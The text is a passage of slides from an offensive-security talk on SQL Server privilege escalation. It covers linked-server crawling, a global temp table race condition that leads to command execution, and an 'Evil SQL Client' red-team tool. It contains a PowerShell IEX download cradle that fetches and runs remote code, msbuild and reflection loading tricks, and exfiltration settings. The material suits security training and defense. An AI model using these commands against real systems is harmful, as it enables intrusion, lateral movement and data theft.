  • 43. LDAP QUERIES VIA SQL SERVER Common Privilege Escalation Methods Linked Server example using: OPENQUERY DOMAIN USERS
  • 44. Linked Servers + Excessive Privileges Common Privilege Escalation Methods
  • 45. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Linked servers are basically persistent database connections for SQL Servers. Usually preconfigured with alternative credentials. Why should I care? • Move between SQL Servers (lateral movement) • Impersonate link users without providing credentials (privilege escalation) • Crawl SQL Server link networks (bypass network security controls) • We seem misconfigured linked servers in about 50% environments
  • 46. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Query linked server: SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’) Identify linked servers: SELECT * FROM MASTER..SYSSERVERS PowerUpSQL and the Metasploit modules can also be handy for crawling and command execution through linked servers.
  • 47. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Example of attack path from the internet InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain EvilKey HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links DB1 LVA
  • 48. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Example of attack path from the internet InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links DB1 LVA
  • 49. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Example of attack path from the internet InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links D B Link w ith Least Privileges DB1 LVA
  • 50. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Example of attack path from the internet InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links D B Link w ith Least Privileges DB Link with SA account DB1 LVA Execute SQL queries and local commands on database servers via nested linked services 2
  • 51. LINKED SERVERS + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods Link crawls can result in access to: • 100s of systems • 1000s of databases • Active Directory domains • Isolated & protected networks • Partner networks via VPN https://blog.netspi.com/how-to-hack-database-links-in-sql-server/ Lots of great work done by Antti Rantasaari:
  • 52. SQL SERVER LINK + EXCESSIVE PRIVILEGES Common Privilege Escalation Methods
  • 54. ABUSING TEMPORARY TABLES Case Study: Abusing Temporary Tables Introduction to common approaches Case Study: Vulnerable Agent Job 1 2
  • 55. WHAT ARE TEMPORARY TABLES IN SQL SERVER? Case Study: Abusing Temporary Tables Devs often use them for temporary data storage and data processing Create race conditions that can compromise data confidentially and integrity Similar to regular tables, but intended for temporary use Occasionally result in code execution opportunities Stored in the tempdb default database
  • 56. WHAT ARE TEMPORARY TABLES IN SQL SERVER? There are primarily three variations of temporary tables in SQL Server: Temporary Table Type Scope Scope Description Table Variable Batch Only accessible within the query batch it’s executed in. Case Study: Abusing Temporary Tables
  • 57. WHAT ARE TEMPORARY TABLES IN SQL SERVER? There are primarily three variations of temporary tables in SQL Server: Temporary Table Type Scope Scope Description Table Variable Batch Only accessible within the query batch it’s executed in. Local Temporary Table Current Session Accessible to all query batches within the same active connection until the connection is terminated or the table is explicitly dropped. Case Study: Abusing Temporary Tables
  • 58. WHAT ARE TEMPORARY TABLES IN SQL SERVER? There are primarily three variations of temporary tables in SQL Server: Temporary Table Type Scope Scope Description Table Variable Batch Only accessible within the query batch it’s executed in. Local Temporary Table Current Session Accessible to all query batches within the same active connection until the connection is terminated or the table is explicitly dropped. Global Temporary Table All Sessions Accessible (read/write) to all active connections until there are no references to the table or the table is explicitly dropped. Case Study: Abusing Temporary Tables
  • 59. HOW TEMPORARY TABLES WORK? Below are some common queries for creating and querying temp tables: Temporary Table Type Create Query Table Variable DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM @table_variable Case Study: Abusing Temporary Tables
  • 60. HOW TEMPORARY TABLES WORK? Below are some common queries for creating and querying temp tables: Temporary Table Type Create Query Table Variable DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM @table_variable Local Temporary Table CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM #LocalTempTbl Case Study: Abusing Temporary Tables
  • 61. HOW TEMPORARY TABLES WORK? Below are some common queries for creating and querying temp tables: Temporary Table Type Create Query Table Variable DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM @table_variable Local Temporary Table CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM #LocalTempTbl Global Temporary Table CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); SELECT * FROM ##GlobalTempTbl Case Study: Abusing Temporary Tables
  • 62. HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES? Unprivileged User: Monitor tempdb Privileged User: Review Source Code • Agent Jobs • Stored Procedures • DDL Triggers • DML and Logon Triggers • Global temp table names and columns • Global temp table content Case Study: Abusing Temporary Tables
  • 63. HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES? Query tempdb • View Names • Global temp tables don’t always exist for long • Limited to point in time Case Study: Abusing Temporary Tables
  • 64. HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES? Query tempdb in Loop • View Names • Looping offers better visibility over time • Throttle to avoid over utilizing the CPU ☺ Case Study: Abusing Temporary Tables
  • 65. HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES? Query tempdb in Loop • View Content • Race condition results in a data confidentiality issue Case Study: Abusing Temporary Tables
  • 66. HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES? Query tempdb in Loop • Update Content • Race condition results in a data integrity issue • This can lead to code execution under specific conditions Case Study: Abusing Temporary Tables
  • 68. CASE STUDY: VULNERABLE AGENT JOB - SUMMARY Case Study: Vulnerable Agent Job SQL Agent Job exists that executes TSQL job hourly1 TSQL job dynamically creates PowerShell command2 TSQL job creates global temp table and stores PowerShell command in it3 TSQL job selects PowerShell command from global temp table4 TSQL job executes PowerShell via xp_cmdshell5
  • 69. CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW NAMES Query tempdb in Loop • View Names • We can see temp tables being generated with random names Case Study: Vulnerable Agent Job
  • 70. CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW NAMES Query tempdb in Loop • View Names • We run the query again and see different temp tables names with the same columns Case Study: Vulnerable Agent Job
  • 71. CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW CONTENT Query tempdb in Loop • View Content • We see a PowerShell command being stored in the temp table that creates the file: C:Program FilesMicrosoft SQL ServerMSSQL12.SQLSERVER201 4MSSQLLogintendedoutput.txt Case Study: Vulnerable Agent Job
  • 72. CASE STUDY: VULNERABLE AGENT JOB ATTCK - UPDATE CONTENT Query tempdb in Loop • Update Content • We modify the PowerShell command being stored in the temp table to write to: C:Program FilesMicrosoft SQL ServerMSSQL12.SQLSERVER201 4MSSQLLogfinishline.txt Case Study: Vulnerable Agent Job
  • 73. CASE STUDY: VULNERABLE AGENT JOB ATTCK - VERIFY EXECUTION Verify file write • Via explorer • You could also use xp_filexist ‘C:Program FilesMicrosoft SQL ServerMSSQL12.SQLSE RVER2014MSSQLLogfi nishline.txt‘ Case Study: Vulnerable Agent Job
  • 74. PREVENTION Don’t run code blocks that have been stored in a global temporary table. BLOG: https://blog.netspi.com/exploiting-sql-server-global-temporary-table-race-conditions Case Study: Vulnerable Agent Job Don’t store sensitive data or code blocks in a global temporary table. If you need to access data across multiple sessions consider using memory-optimized tables. Based on my lab testing, they can provide similar performance benefits without having to expose data to unprivileged users. For more information check out this article from Microsoft..
  • 75.
  • 76. What is the Evil SQL Client? SQL Server attack console client written in C# Evil SQL Client: Overview Supports discovery, access, escalation, and data exfil commands Built for pentest and red team operations Ships with files to execute via msbuild inline tasks Ships with files to execute via PowerShell
  • 77. Where can I get it? https://github.com/netspi/esc Evil SQL Client: Download
  • 78. Execution Options: esc.exe Download release or compile from source Evil SQL Client: Execution Options Execute esc.exe
  • 79. Execution Options: msbuild.exe esc.csproj file contains the esc.exe source code in an inline task *Technique by Casey Smith Evil SQL Client: Execution Options Download esc.csproj Run via msbuild *Fun fact: No file path needed if only one .csproj file exists in directory.
  • 80. Execution Options: msbuild.exe esc.xml contains a byte array of esc.exe that is loaded via reflection techniques shared by @BoHops (GhostBuild), @subTee, and @mattifestation Evil SQL Client: Execution Options Download esc.xml Run via msbuild
  • 81. Execution Options: PowerShell – Loading esc.exe Assembly Load assembly from file or byte array: [System.Reflection.Assembly]::LoadFile("c:tempesc.exe”) or [System.Reflection.Assembly]::Load($filebytes) Evil SQL Client: Execution Options Shortcut Download PowerShell code to automatically load Evil SQL Client from a string containing a hardcoded byte array. IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/ESC/master/e sc-example.ps1")
  • 82. Execution Options: PowerShell – Executing esc.exe Functions Call desired functions. Below are some examples: [evilsqlclient.Program+EvilCommands]::GetSQLServersBroadCast() [evilsqlclient.Program+EvilCommands]::GetSQLServersSpn() [evilsqlclient.Program+EvilCommands]::MasterDiscoveredList [evilsqlclient.Program+EvilCommands]::InstanceAllG = "enabled" [evilsqlclient.Program+EvilCommands]::CheckAccess() [evilsqlclient.Program+EvilCommands]::MasterAccessList [evilsqlclient.Program+EvilCommands]::CheckDefaultAppPw() [evilsqlclient.Program+EvilCommands]::CheckLoginAsPw() [evilsqlclient.Program+EvilCommands]::MasterAccessList Evil SQL Client: Execution Options PowerShell Execution Note The interactive console currently doesn’t work through PowerShell, but all other functions do. Hopefully, I’ll fix the bug, but it’s still very usable. ☺
  • 83. ESC Commands Evil SQL Client: Commands Discovery Access Gather Escalate Exfil Discover file Discover domainspn Discover broadcast Show discovered Export discovered Check access Check defaultpw Show access Export access Single instance query Multi instance query List serverinfo List databases List tables List links List logins List rolemembers List privs Check loginaspw Check uncinject Run oscmd Set File Set FilePath Set icmp Set icmpip Set http Set httpurl Note: The “show settings” command will show the current configuration at any given time. * The data encryption functions are done, but currently they don’t encrypt exfiltrated data at this time. *All query results are exfiled via all enabled methods.
  • 84. Query Options: Single Instance Configure Single Instance Target Set target MSSQLSRV04SQLSERVER2014 Set username backdoor_account Set password backdoor_account Show settings Evil SQL Client: Query Options Execute query Select @@version Go
  • 85. Query Options: Multiple Instances Run discover functions & set Discover domainspn Discover broadcast Discover file c:tempinstancelist.csv Show settings Evil SQL Client: Query Options
  • 86. Query Options: Multiple Instances Run discover functions & set Discover domainspn Discover broadcast Discover file c:tempinstancelist.csv Show settings Evil SQL Client: Query Options Enable multi-instance targeting Set targetall enabled Show settings
  • 87. Query Options: Multiple Instances Run discover functions & set Discover domainspn Discover broadcast Discover file c:tempinstancelist.csv Show settings Evil SQL Client: Query Options Enable multi-instance targeting Set targetall enabled Show settings Check initial access Check access
  • 88. Query Options: Multiple Instances Run discover functions & set Discover domainspn Discover broadcast Discover file c:tempinstancelist.csv Show settings Evil SQL Client: Query Options Enable multi-instance targeting Set targetall enabled Show settings Check initial access Check access Show access
  • 89. Query Options: Multiple Instances Execute query Select @@version Go Evil SQL Client: Query Options
  • 90. Query Options: Multiple Instances Execute query Select @@version Go Evil SQL Client: Query Options Run Commands List databases
  • 91. General Notes If you mess up a command, just run: clear Evil SQL Client: General Notes CTRL + C kills the application
  • 92. ESC Demo Evil SQL Client: Demo
  • 94. TAKE AWAYS Take Aways SQL Server instances are easy to find in Active Directory environments. The default trust relationships between SQL Server on domain systems and AD can lead to privilege escalation scenarios. Attacks can originate from the internet or internal vectors Be proactive about finding common issues and enabled detections. The same techniques used in PowerUpSQL can be adapted to any medium.